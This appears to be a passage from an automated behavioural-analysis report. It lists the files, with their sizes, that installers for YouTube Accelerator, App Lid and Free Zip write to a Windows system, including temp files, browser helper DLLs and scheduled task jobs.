C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ1A92.tmp (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK1C96.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC1A82.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLG22A2.tmp (90922 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLF22A3.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM1E9A.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)

The process ins_yta.exe:3612 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB1A53.tmp (144 bytes)

The process Vlwgfsqfpaz.exe:1440 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\28.js (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\301.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-4.dll (46278 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\354.js (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\183.js (2 bytes)
%Program Files% (x86)\App Lid\App Lid-bho.dll (4545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\253.js (737 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\14.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\94.js (1 bytes)
C:\Windows\Tasks\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\38.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\64.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\220.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\182.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\53049 (17985 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\37.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\255.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\35.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\288.js (553 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\9.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\104.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\184626 (243819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\207.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\180.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\40.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\md5dll.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\manifest[1].xml (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\200.js (809 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\281.js (485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\InstallerUtils.dll (28539 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\246.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\22.js (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\234.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\nsisos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\47.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\43.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\78.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\userCode\extension.js (354 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\21.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\39.js (4 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\manifest.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\13.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\262.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\1.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\2.js (63 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\45.js (1 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil64.exe (2105 bytes)
%Program Files% (x86)\App Lid\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-5.exe (7433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\91.js (6584 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\72.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\184.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\InstallerUtils2.dll (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\3.js (63 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\userCode\background.js (636 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\177.js (784 bytes)
%Program Files% (x86)\App Lid\utils.exe (90899 bytes)
%Program Files% (x86)\App Lid\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-4.exe (8330 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-1.dll (33295 bytes)
%Program Files% (x86)\App Lid\App Lid-codedownloader.exe (8319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\195.js (410 bytes)
C:\Windows\Tasks\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-5_user.job (74 bytes)
%Program Files% (x86)\App Lid\background.html (729 bytes)
%Program Files% (x86)\App Lid\11a9fc6b-cfbc-4d3c-943b-7e1062933d01.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\102.js (1 bytes)
%Program Files% (x86)\App Lid\App Lid-bho64.dll (5873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\242.js (1 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\46.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\36.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\41.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\44.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\17.js (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\221.js (415 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\4.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\7.js (685 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins.json (15 bytes)
%Program Files% (x86)\App Lid\App Lid-bg.exe (4185 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\345.js (607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\252.js (1 bytes)
C:\Windows\Tasks\11a9fc6b-cfbc-4d3c-943b-7e1062933d01-1.job (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuDF5.tmp (718555 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\System.dll (23 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil.exe (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\223.js (825 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\263.js (1 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskE06.tmp\{1E713F42-5D5E-47F9-86C4-03E1979C2CAF}\plugins\42.js (7 bytes)
%Program Files% (x86)\App Lid\App Lid.ico (9 bytes)

The process testlsp.exe:2916 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2916_testlsp.log (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2916.log (1345 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2916_testlsp.log (1438 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2916_testlsp.log (124734 bytes)

The process FreeZip920.exe:2304 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\Free Zip\Uninstall.exe (255 bytes)
%Program Files% (x86)\Free Zip\Lang\ta.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\si.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFFC3.tmp\InstallOptions.dll (30 bytes)
%Program Files% (x86)\Free Zip\Lang\da.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\th.txt (784 bytes)
%Program Files% (x86)\Free Zip\7zFM.exe (15990 bytes)
%Program Files% (x86)\Free Zip\Lang\nl.txt (14 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Free Zip\Free Zip File Manager.lnk (1 bytes)
%Program Files% (x86)\Free Zip\Lang\is.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\ne.txt (784 bytes)
%Program Files% (x86)\Free Zip\7z.sfx (6584 bytes)
%Program Files% (x86)\Free Zip\Lang\pa-in.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\cs.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\mn.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\lt.txt (13 bytes)
%Program Files% (x86)\Free Zip\history.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\it.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\fur.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\fy.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\fr.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\sr-spl.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\el.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\sk.txt (14 bytes)
%Program Files% (x86)\Free Zip\License.txt (1 bytes)
%Program Files% (x86)\Free Zip\Lang\ps.txt (15 bytes)
%Program Files% (x86)\Free Zip\Lang\ca.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\pt.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\uk.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\uz.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\bn.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\sl.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\va.txt (12 bytes)
%Program Files% (x86)\Free Zip\Lang\cy.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\fa.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\sa.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\af.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\zh-tw.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\lv.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\mk.txt (15 bytes)
%Program Files% (x86)\Free Zip\Lang\eu.txt (12 bytes)
%Program Files% (x86)\Free Zip\7z.exe (7192 bytes)
%Program Files% (x86)\Free Zip\Lang\sr-spc.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\gl.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\ku.txt (11 bytes)
%Program Files% (x86)\Free Zip\7z.dll (29608 bytes)
%Program Files% (x86)\Free Zip\Lang\ka.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\ku-ckb.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\ru.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\hu.txt (14 bytes)
%Program Files% (x86)\Free Zip\readme.txt (5 bytes)
%Program Files% (x86)\Free Zip\Lang\az.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\kk.txt (784 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Free Zip\Free Zip Help.lnk (1 bytes)
%Program Files% (x86)\Free Zip\Lang\mr.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\eo.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\tt.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuFFB3.tmp (82231 bytes)
%Program Files% (x86)\Free Zip\Lang\de.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\et.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\es.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\ug.txt (784 bytes)
%Program Files% (x86)\Free Zip\7zG.exe (9320 bytes)
%Program Files% (x86)\Free Zip\Lang\be.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\id.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\nn.txt (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFFC3.tmp (4 bytes)
%Program Files% (x86)\Free Zip\Lang\pt-br.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ar.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\pl.txt (14 bytes)
%Program Files% (x86)\Free Zip\Lang\hr.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ro.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ms.txt (10 bytes)
%Program Files% (x86)\Free Zip\Lang\en.ttt (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFFC3.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\Free Zip\Lang\he.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\hi.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\tr.txt (13 bytes)
%Program Files% (x86)\Free Zip\Lang\ja.txt (15 bytes)
%Program Files% (x86)\Free Zip\Lang\hy.txt (784 bytes)
%Program Files% (x86)\Free Zip\7zCon.sfx (6584 bytes)
%Program Files% (x86)\Free Zip\Lang\nb.txt (11 bytes)
%Program Files% (x86)\Free Zip\Lang\ko.txt (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFFC3.tmp\ioSpecial.ini (3889 bytes)
%Program Files% (x86)\Free Zip\Lang\gu.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\ba.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\bg.txt (784 bytes)
%Program Files% (x86)\Free Zip\Lang\br.txt (10 bytes)
%Program Files% (x86)\Free Zip\7-zip.dll (3616 bytes)
